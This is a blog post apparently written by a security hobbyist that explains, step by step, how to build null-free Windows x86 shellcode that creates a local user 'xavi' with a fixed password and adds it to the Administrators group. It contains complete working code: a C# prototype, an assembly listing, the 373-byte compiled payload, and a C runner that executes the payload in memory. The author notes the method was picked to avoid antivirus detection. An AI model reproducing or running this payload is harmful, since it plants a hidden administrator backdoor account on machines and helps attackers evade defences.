Hello everyone,
Recently I’ve been learning about Windows x86 shellcoding and I decided to write a shellcode by my own.
My idea was to write a shellcode that creates a new user and make it local administrator. You can find the final version of the shellcode here:
https://www.exploit-db.com/shellcodes/51208
In this blog post I will explain how I created this shellcode step by step.
Since I had only experience writing linux shellcode, I thought that I just needed to identify the correct syscall numbers and make the proper calls, but after some research I realized that if I do it that way, the shellcode won’t work in other OS versions.
First of all, let’s cover how to make portable shellcodes in Windows.
Shellcoding in Windows – System Calls
The main problem here is that Windows system call numbers may vary between OS versions.
To see this, we can go to the following webpage:
https://j00ru.vexillium.org/syscalls/nt/32/
Every row is the result for a different system call, as you can see it changes a between OS versions:

To avoid hardcoding the system calls numbers and prevent the shellcode being OS version dependent, there are different techniques like the following ones:
- Locate the Process Environmental Block (PEB) structure.
- Structured Exception Handler (SEH)
- “Top Stack” method
For this blog post I will use the PEB technique, the other two are less portable and may not work on modern versions of Windows.
Is not the purpose of this post to cover the theory behind this technique, you can read all the details here:
https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode
Once we located the PEB, we will need to resolve symbols from kernel32.dll (and other DLLs), to do that we will use the Export Directory Table method.
https://mohamed-fakroud.gitbook.io/red-teamings-dojo/shellcoding/leveraging-from-pe-parsing-technique-to-write-x86-shellcode
Win32 API calls
Another topic that was important to think about before starting coding was the different options that I had to make the shellcode work:
Option 1) Execute a new process and execute the following command:
cmd.exe /c "net user xavi /add && net localgroup administrators xavi /add"
Option 2) Use Win32 API calls
https://learn.microsoft.com/en-us/windows/win32/api/_netmgmt/
- NetUserAdd
https://www.pinvoke.net/default.aspx/netapi32/NetUserAdd.html - NetLocalGroupAddMembers
https://www.pinvoke.net/default.aspx/netapi32/NetLocalGroupAddMembers.html
The option 2 from my point of view is better in order to avoid AV detections.
C# Code
Before implementing this in assembly, I wanted to write it in C#, the idea was to try to understand how to call this two functions:
- NetUserAdd
- NetLocalGroupAddMembers
This is the implementation:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Linq;
using BOOL = System.Boolean;
using DWORD = System.UInt32;
using LPWSTR = System.String;
using NET_API_STATUS = System.UInt32;
namespace adduser
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct USER_INFO_1
{
[MarshalAs(UnmanagedType.LPWStr)] public string sUsername;
[MarshalAs(UnmanagedType.LPWStr)] public string sPassword;
public uint uiPasswordAge;
public uint uiPriv;
[MarshalAs(UnmanagedType.LPWStr)] public string sHome_Dir;
[MarshalAs(UnmanagedType.LPWStr)] public string sComment;
public uint uiFlags;
[MarshalAs(UnmanagedType.LPWStr)] public string sScript_Path;
}
struct LOCALGROUP_MEMBERS_INFO_3
{
[MarshalAs(UnmanagedType.LPWStr)]
public string Domain;
}
internal class Program
{
// Constants
//uiPriv
const uint USER_PRIV_GUEST = 0;
const uint USER_PRIV_USER = 1;
const uint USER_PRIV_ADMIN = 2;
//uiFlags (flags)
const uint UF_DONT_EXPIRE_PASSWD = 0x10000;
const uint UF_MNS_LOGON_ACCOUNT = 0x20000;
const uint UF_SMARTCARD_REQUIRED = 0x40000;
const uint UF_TRUSTED_FOR_DELEGATION = 0x80000;
const uint UF_NOT_DELEGATED = 0x100000;
const uint UF_USE_DES_KEY_ONLY = 0x200000;
const uint UF_DONT_REQUIRE_PREAUTH = 0x400000;
const uint UF_PASSWORD_EXPIRED = 0x800000;
const uint UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000;
const uint UF_NO_AUTH_DATA_REQUIRED = 0x2000000;
const uint UF_PARTIAL_SECRETS_ACCOUNT = 0x4000000;
const uint UF_USE_AES_KEYS = 0x8000000;
//uiFlags (choice)
const uint UF_TEMP_DUPLICATE_ACCOUNT = 0x0100;
const uint UF_NORMAL_ACCOUNT = 0x0200;
const uint UF_INTERDOMAIN_TRUST_ACCOUNT = 0x0800;
const uint UF_WORKSTATION_TRUST_ACCOUNT = 0x1000;
const uint UF_SERVER_TRUST_ACCOUNT = 0x2000;
// NetUserAdd - NETAPI32.DLL
[DllImport("netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern int NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);
// NetLocalGroupAddMembers - NETAPI32.DLL
[DllImport("NetApi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern Int32 NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
static void Main(string[] args)
{
// Add new local user
UInt32 parm_err = 0;
USER_INFO_1 ui = new USER_INFO_1();
IntPtr bufptr = Marshal.AllocHGlobal(Marshal.SizeOf(ui));
ui.sUsername = "revil";
ui.sPassword = "Summer12345!";
ui.uiPasswordAge = 0;
ui.uiPriv = USER_PRIV_USER;
ui.sHome_Dir = "";
ui.sComment = "";
ui.uiFlags = UF_NORMAL_ACCOUNT;
ui.sScript_Path = "";
Marshal.StructureToPtr(ui, bufptr, false);
NetUserAdd(null, 1, bufptr, out parm_err);
// Add the user to local administrators
LOCALGROUP_MEMBERS_INFO_3 group;
group.Domain = "revil";
NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);
}
}
}
Start writing the shellcode
The following part of the shellcode is the main skeleton, I won’t explain it, because contains the implementation to locate kernel32, the load process, and the symbols location that I explained before.
start:
mov ebp, esp ;
add esp, 0xfffff9f0 ; To avoid null bytes
find_kernel32:
xor ecx, ecx ; ECX = 0
mov esi,fs:[ecx+30h] ; ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0Ch] ; ESI = PEB->Ldr
mov esi,[esi+1Ch] ; ESI = PEB->Ldr.InInitOrder
next_module:
mov ebx, [esi+8h] ; EBX = InInitOrder[X].base_address
mov edi, [esi+20h] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next)
cmp [edi+12*2], cx ; (unicode) modulename[12] == 0x00?
jne next_module ; No: try next module.
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the return address from the stack
mov [ebp+0x04], esi ; Save find_function address for later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc: ;
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save all registers
mov eax, [ebx+0x3c] ; Offset to PE Signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; Save AddressOfNames VMA for later use
find_function_loop:
jecxz find_function_finished ; Jump to the end if ECX is 0
dec ecx ; Decrement our names counter
mov eax, [ebp-4] ; Restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; Get the RVA of the symbol name
add esi, ebx ; Set ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax ;
cdq ; Null EDX
cld ; Clear direction
compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Check for NULL terminator
jz compute_hash_finished ; If the ZF is set, we've hit the NULL term
ror edx, 0x0d ; Rotate edx 13 bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ; Next iteration
compute_hash_finished:
find_function_compare:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad
find_function_finished:
popad ; Restore registers
ret ;
; Resolve kernel32 symbols
resolve_symbols_kernel32:
push 0x78b5b983 ; Kernel 32 - TerminateProcess hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save TerminateProcess address for later usage
push 0xec0e4e8e ; Kernel 32 - LoadLibraryA hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save LoadLibraryA address for later usage
Locate NetUserAdd and NetLocalGroupAddMembers
Here comes the custom shellcode part. The first thing that we need to do is to locate the address of the DLL where these 2 functions are stored.
At the beggining I thought that this 2 functions where inside netapi32.dll but I was wrong, I couldn’t really find where they are so I decided to use an assembly code that executed this to see what dll was used. (thanks to Didier Stevens! 🙂 )
; Assembly code to add a new local user and make it member of Administrators group
; Written for NASM assembler (http://www.nasm.us) by Didier Stevens
; https://DidierStevens.com
; Use at your own risk
;
; Build:
; nasm -f win32 add-admin.asm
; Microsoft linker:
; link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
; https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/
; /fixed -> no relocation section
; /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
; /filealign:256 -> smaller, but no valid exe
; MinGW linker:
; ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32
;
; History:
; 2020/03/13
; 2020/03/14 refactor
; 2020/03/15 refactor
BITS 32
%define USERNAME 'hacker'
%define PASSWORD 'P@ssw0rd'
%define ADMINISTRATORS 'administrators'
global _main
extern _NetUserAdd@16
extern _NetLocalGroupAddMembers@20
extern _ExitProcess@4
struc USER_INFO_1
.uName RESD 1
.Password RESD 1
.PasswordAge RESD 1
.Privilege RESD 1
.HomeDir RESD 1
.Comment RESD 1
.Flags RESD 1
.ScriptPath RESD 1
endstruc
struc LOCALGROUP_MEMBERS_INFO_3
.lgrmi3_domainandname RESD 1
endstruc
USER_PRIV_USER EQU 1
UF_SCRIPT EQU 1
section .text
_main:
int3
mov ebp, esp
sub esp, 4
; NetUserAdd(NULL, level=1, buffer, NULL)
lea eax, [ebp-4]
push eax
push UI1
push 1
push 0
call _NetUserAdd@16
; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1)
push 1
push LMI3
push 3
push ADMINISTRATORS_UNICODE
push 0
call _NetLocalGroupAddMembers@20
; ExitProcess(0)
push 0
call _ExitProcess@4
; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section)
; section .data
UI1:
istruc USER_INFO_1
at USER_INFO_1.uName, dd USERNAME_UNICODE
at USER_INFO_1.Password, dd PASSWORD_UNICODE
at USER_INFO_1.PasswordAge, dd 0
at USER_INFO_1.Privilege, dd USER_PRIV_USER
at USER_INFO_1.HomeDir, dd 0
at USER_INFO_1.Comment, dd 0
at USER_INFO_1.Flags, dd UF_SCRIPT
at USER_INFO_1.ScriptPath, dd 0
iend
USERNAME_UNICODE:
db __utf16le__(USERNAME), 0, 0
PASSWORD_UNICODE:
db __utf16le__(PASSWORD), 0, 0
ADMINISTRATORS_UNICODE:
db __utf16le__(ADMINISTRATORS), 0, 0
LMI3:
istruc LOCALGROUP_MEMBERS_INFO_3
at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE
iend
I executed it, and passed it through WinDbg, I identified the name of the dll was “samcli.dll”.

To load this module, we can do it like this:
; LoadLibraryA - samcli.dll
load_samcli:
xor eax, eax ;
push eax ;
mov ax, 0x6c6c ; # ll
push eax ;
push 0x642e696c ; d.il
push 0x636d6173 ; cmas
push esp ; Push ESP to have a pointer to the string
call dword [ebp+0x14] ; Call LoadLibraryA
Then we need to resolve the symbols that we need:
resolve_symbols_samcli:
; Samcli - NetUserAdd
mov ebx, eax ; Move the base address of samcli.dll to EBX
push 0xcd7cdf5e ; NetUserAdd hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x1C], eax ; Save NetUserAdd address for later usage
; Samcli - NetLocalGroupAddMembers
push 0xc30c3dd7 ; NetLocalGroupAddMembers hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x20], eax ; Save NetLocalGroupAddMembers address for later usage
At this point we have stored all the addresses that we need to implement the shellcode, we are ready to continue.
Create the user
As an initial setup, we put a 0 in eax and a 1 in ebx:
execute_shellcode:
; Useful registers
xor eax, eax ; eax = 0
xor ebx, ebx ;
inc ebx ; ebx = 1
Save strings and create the structure
Then we push the administrators string to the stack and save it for a later use.
Here we are going to see a couple of “special” things.
The first one, is that the strings that we are pushing needs to be backwards, this is because they are in little endian.
The second one, is that we need to push unicode values, so we are going to need to use null bytes:
push 0x00730072 ; sr
To avoid using null bytes, we can do use negative values.
Let’s do this math operation:
0x0 - 0x00730072 = 0xff8cff8e
Save the negative value in edx, and negate it:
mov edx, 0xff8cff8e ;
neg edx ;
push edx ;
This is the complete piece of code for this part:
; Group - Administrators
push eax ; string delimiter
; push 0x00730072 ; sr
mov edx, 0xff8cff8e ;
neg edx ;
push edx ;
; push 0x006f0074 ; ot
mov edx, 0xff90ff8c ;
neg edx ;
push edx ;
; push 0x00610072 ; ar
mov edx, 0xff9eff8e ;
neg edx ;
push edx ;
; push 0x00740073 ; ts
mov edx, 0xff8bff8d ;
neg edx ;
push edx ;
; push 0x0069006e ; in
mov edx, 0xff96ff92 ;
neg edx ;
push edx ;
; push 0x0069006d ; im
mov edx, 0xff96ff93 ;
neg edx ;
push edx ;
; push 0x00640041 ; dA
mov edx, 0xff9bffbf ;
neg edx ;
push edx ;
mov [ebp+0x24], esp ; store groupname in [esi]
Next step is to save the username:
; Username - xavi
push eax ; string delimiter
; push 0x00690076 ; iv
mov edx, 0xff96ff8a ;
neg edx ;
push edx ;
; push 0x00610078 ; xa
mov edx, 0xff9eff88 ;
neg edx ;
push edx ;
mov ecx, esp ; Pointer to the string
mov [ebp+0x28], ecx ; store username in [esi+4]
And after the username, the password:
; Password - Summer12345!
push eax ; string delimiter
; push 0x00210035 ; !5
mov edx, 0xffdeffcb ;
neg edx ;
push edx ;
; push 0x00340033 ; 43
mov edx, 0xffcbffcd ;
neg edx ;
push edx ;
; push 0x00320031 ; 21
mov edx, 0xffcdffcf ;
neg edx ;
push edx ;
; push 0x00720065 ; re
mov edx, 0xff8dff9b ;
neg edx ;
push edx ;
; push 0x006d006d ; mm
mov edx, 0xff92ff93 ;
neg edx ;
push edx ;
; push 0x00750053 ; uS
mov edx, 0xff8affad ;
neg edx ;
push edx ;
mov edx, esp ; store password in edx
Then we can create the USER_INFO_1 structure in the stack:
; USER_INFO_1 structure
push eax ; 0 - sScript_Path
push ebx ; 1 - uiFlags
push eax ; 0 - sComment
push eax ; 0 - sHome_Dir
push ebx ; 1 - uiPriv = USER_PRIV_USER = 1
push eax ; 0 - uiPasswordAge
push edx ; str - sPassword
push ecx ; str - sUsername
mov ecx, esp ;
Finally, we push the specified variables in the stack, and make the system call:
; NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);
; NetUserAdd(null, 1, bufptr, out parm_err);
push eax ; 0 - parm_err
push esp ; pointer to USER_INFO_1 structure ?
push ecx ; USER_INFO_1 - UserInfo
push ebx ; 1 - level
push eax ; 0 - servername
call dword [ebp+0x1C] ; NetUserAdd - System Call
Add the user to administrators group
Now that we created the user correctly, we need to add it to the administrators group.
Again, we need to create the required structure first:
; LOCALGROUP_MEMBERS_INFO_3 structure
mov ecx, [ebp+0x28] ; Domain = Username
push ecx ;
mov ecx, esp ; Save a pointer to Username
Then we push the required variables to the stack and make the system call:
; NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
; NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);
push ebx ; 1 - totalentries
push ecx ; LOCALGROUP_MEMBERS_INFO_3 - username
push 3 ; 3 - level 3 means that we are using the structure LOCALGROUP_MEMBERS_INFO_3
push dword [ebp+0x24] ; str - groupname
push eax ; 0 - servername
call dword [ebp+0x20] ; NetLocalGroupAddMembers - System Call
The last step is to setup a 0 in eax, push it and call Exit Process.
xor eax, eax ;
push eax ; return 0
call dword [ebp+0x10] ; ExitProcess - System Call
Debugging shellcode execution
I’m going to use python keystone module to, but I could directly load the compiled assembly in WinDbg.
I execute the python module that loads the shellcode:

And I attach WinDbg to it.
I setup a breakpoint here:

Finding kernel32
And I want to verify that I locate kernel32 address correctly. After 3 iterations in the loop the shellcode finds kernel32 address:

Finding symbols
Then I setup another breakpoint at the end of the find function. I want to verify that the shellcode finds the symbols addresses correctly too:

And it does:

Also, it founds correctly the address of the NetUserAdd and the NetLocalGroupAddMembers symbols:

At this point, all the relevant memory addresses are located and stored in registers. We are ready to execute the system calls.
NetUserAdd
First we push the group name:

Then the user:

After that, the password:

And we setup the variables in the stack, to do the first call. This is how the stack looks like before executing the system call:

I continue the execution, and I see that the system call returns 00000000 to eax register, this means that it was executed without errors:

So now, we have a new user in the sytem, called xavi:

NetLocalGroupAddMembers
This is how the stack looks like before the next system call:

I continue the execution, and I see again that in eax we have a 00000000. So these are good news:

I check it, and there is a new local admin 🙂

ExitProcess
The last system call is the Exit Process one, it works fine too:

Final shellcode
So that’s all for this blog entry, you can find below the complete shellcode.
See you soon! And Happy Hacking 🙂
; Title: Name: Windows/x86 - Create Administrator User / Dynamic PEB & EDT method null-free Shellcode (373 bytes)
; Author: Xavi Beltran
; Contact: xavibeltran@protonmail.com
; Website: https://xavibel.com/2023/01/18/shellcode-windows-x86-create-administrator-user-dynamic-peb-edt/
; Date: 18/01/2022
; Tested on: Microsoft Windows Version 10.0.19045
; Description:
; This is a shellcode that creates a new user named "xavi" with password "Summer12345!". Then adds this user to administrators group.
; In order to accomplish this task the shellcode uses the PEB method to locate the baseAddress of the modules and then Export Directory Table to locate the symbols.
; The shellcodes perform 3 different calls:
; - NetUserAdd
; - NetLocalGroupAddMembers
; - ExitProcess
####################################### adduser.asm #######################################
start:
mov ebp, esp ;
add esp, 0xfffff9f0 ; To avoid null bytes
find_kernel32:
xor ecx, ecx ; ECX = 0
mov esi,fs:[ecx+30h] ; ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0Ch] ; ESI = PEB->Ldr
mov esi,[esi+1Ch] ; ESI = PEB->Ldr.InInitOrder
next_module:
mov ebx, [esi+8h] ; EBX = InInitOrder[X].base_address
mov edi, [esi+20h] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next)
cmp [edi+12*2], cx ; (unicode) modulename[12] == 0x00?
jne next_module ; No: try next module.
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the return address from the stack
mov [ebp+0x04], esi ; Save find_function address for later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc: ;
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save all registers
mov eax, [ebx+0x3c] ; Offset to PE Signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; Save AddressOfNames VMA for later use
find_function_loop:
jecxz find_function_finished ; Jump to the end if ECX is 0
dec ecx ; Decrement our names counter
mov eax, [ebp-4] ; Restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; Get the RVA of the symbol name
add esi, ebx ; Set ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax ;
cdq ; Null EDX
cld ; Clear direction
compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Check for NULL terminator
jz compute_hash_finished ; If the ZF is set, we've hit the NULL term
ror edx, 0x0d ; Rotate edx 13 bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ; Next iteration
compute_hash_finished:
find_function_compare:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad
find_function_finished:
popad ; Restore registers
ret ;
; Resolve kernel32 symbols
resolve_symbols_kernel32:
push 0x78b5b983 ; Kernel 32 - TerminateProcess hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save TerminateProcess address for later usage
push 0xec0e4e8e ; Kernel 32 - LoadLibraryA hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save LoadLibraryA address for later usage
; LoadLibraryA - samcli.dll
load_samcli:
xor eax, eax ;
push eax ;
mov ax, 0x6c6c ; # ll
push eax ;
push 0x642e696c ; d.il
push 0x636d6173 ; cmas
push esp ; Push ESP to have a pointer to the string
call dword [ebp+0x14] ; Call LoadLibraryA
; Resolve samcli.dll symbols
resolve_symbols_samcli:
; Samcli - NetUserAdd
mov ebx, eax ; Move the base address of samcli.dll to EBX
push 0xcd7cdf5e ; NetUserAdd hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x1C], eax ; Save NetUserAdd address for later usage
; Samcli - NetLocalGroupAddMembers
push 0xc30c3dd7 ; NetLocalGroupAddMembers hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x20], eax ; Save NetLocalGroupAddMembers address for later usage
execute_shellcode:
; Useful registers
xor eax, eax ; eax = 0
xor ebx, ebx ;
inc ebx ; ebx = 1
; Group - Administrators
push eax ; string delimiter
; push 0x00730072 ; sr
mov edx, 0xff8cff8e ;
neg edx ;
push edx ;
; push 0x006f0074 ; ot
mov edx, 0xff90ff8c ;
neg edx ;
push edx ;
; push 0x00610072 ; ar
mov edx, 0xff9eff8e ;
neg edx ;
push edx ;
; push 0x00740073 ; ts
mov edx, 0xff8bff8d ;
neg edx ;
push edx ;
; push 0x0069006e ; in
mov edx, 0xff96ff92 ;
neg edx ;
push edx ;
; push 0x0069006d ; im
mov edx, 0xff96ff93 ;
neg edx ;
push edx ;
; push 0x00640041 ; dA
mov edx, 0xff9bffbf ;
neg edx ;
push edx ;
mov [ebp+0x24], esp ; store groupname in [esi]
; Username - xavi
push eax ; string delimiter
; push 0x00690076 ; iv
mov edx, 0xff96ff8a ;
neg edx ;
push edx ;
; push 0x00610078 ; xa
mov edx, 0xff9eff88 ;
neg edx ;
push edx ;
mov ecx, esp ; Pointer to the string
mov [ebp+0x28], ecx ; store username in [esi+4]
; Password - Summer12345!
push eax ; string delimiter
; push 0x00210035 ; !5
mov edx, 0xffdeffcb ;
neg edx ;
push edx ;
; push 0x00340033 ; 43
mov edx, 0xffcbffcd ;
neg edx ;
push edx ;
; push 0x00320031 ; 21
mov edx, 0xffcdffcf ;
neg edx ;
push edx ;
; push 0x00720065 ; re
mov edx, 0xff8dff9b ;
neg edx ;
push edx ;
; push 0x006d006d ; mm
mov edx, 0xff92ff93 ;
neg edx ;
push edx ;
; push 0x00750053 ; uS
mov edx, 0xff8affad ;
neg edx ;
push edx ;
mov edx, esp ; store password in edx
; USER_INFO_1 structure
push eax ; 0 - sScript_Path
push ebx ; 1 - uiFlags
push eax ; 0 - sComment
push eax ; 0 - sHome_Dir
push ebx ; 1 - uiPriv = USER_PRIV_USER = 1
push eax ; 0 - uiPasswordAge
push edx ; str - sPassword
push ecx ; str - sUsername
mov ecx, esp ;
; NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);
; NetUserAdd(null, 1, bufptr, out parm_err);
push eax ; 0 - parm_err
push esp ; pointer to USER_INFO_1 structure ?
push ecx ; USER_INFO_1 - UserInfo
push ebx ; 1 - level
push eax ; 0 - servername
call dword [ebp+0x1C] ; NetUserAdd - System Call
; LOCALGROUP_MEMBERS_INFO_3 structure
mov ecx, [ebp+0x28] ; Domain = Username
push ecx ;
mov ecx, esp ; Save a pointer to Username
; NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
; NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);
push ebx ; 1 - totalentries
push ecx ; LOCALGROUP_MEMBERS_INFO_3 - username
push 3 ; 3 - level 3 means that we are using the structure LOCALGROUP_MEMBERS_INFO_3
push dword [ebp+0x24] ; str - groupname
push eax ; 0 - servername
call dword [ebp+0x20] ; NetLocalGroupAddMembers - System Call
xor eax, eax ;
push eax ; return 0
call dword [ebp+0x10] ; ExitProcess - System Call
####################################### shellcode.c #######################################
/*
Shellcode runner author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char payload[] =
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c"
"\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04"
"\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18"
"\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31"
"\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8"
"\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e"
"\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x50\x66\xb8\x6c\x6c\x50\x68\x6c\x69\x2e"
"\x64\x68\x73\x61\x6d\x63\x54\xff\x55\x14\x89\xc3\x68\x5e\xdf\x7c\xcd\xff\x55\x04"
"\x89\x45\x1c\x68\xd7\x3d\x0c\xc3\xff\x55\x04\x89\x45\x20\x31\xc0\x31\xdb\x43\x50"
"\xba\x8e\xff\x8c\xff\xf7\xda\x52\xba\x8c\xff\x90\xff\xf7\xda\x52\xba\x8e\xff\x9e"
"\xff\xf7\xda\x52\xba\x8d\xff\x8b\xff\xf7\xda\x52\xba\x92\xff\x96\xff\xf7\xda\x52"
"\xba\x93\xff\x96\xff\xf7\xda\x52\xba\xbf\xff\x9b\xff\xf7\xda\x52\x89\x65\x24\x50"
"\xba\x8a\xff\x96\xff\xf7\xda\x52\xba\x88\xff\x9e\xff\xf7\xda\x52\x89\xe1\x89\x4d"
"\x28\x50\xba\xcb\xff\xde\xff\xf7\xda\x52\xba\xcd\xff\xcb\xff\xf7\xda\x52\xba\xcf"
"\xff\xcd\xff\xf7\xda\x52\xba\x9b\xff\x8d\xff\xf7\xda\x52\xba\x93\xff\x92\xff\xf7"
"\xda\x52\xba\xad\xff\x8a\xff\xf7\xda\x52\x89\xe2\x50\x53\x50\x50\x53\x50\x52\x51"
"\x89\xe1\x50\x54\x51\x53\x50\xff\x55\x1c\x8b\x4d\x28\x51\x89\xe1\x53\x51\x6a\x03"
"\xff\x75\x24\x50\xff\x55\x20\x31\xc0\x50\xff\x55\x10";
unsigned int payload_len = 373;
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("Shellcode Length: %d\n", strlen(payload));
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}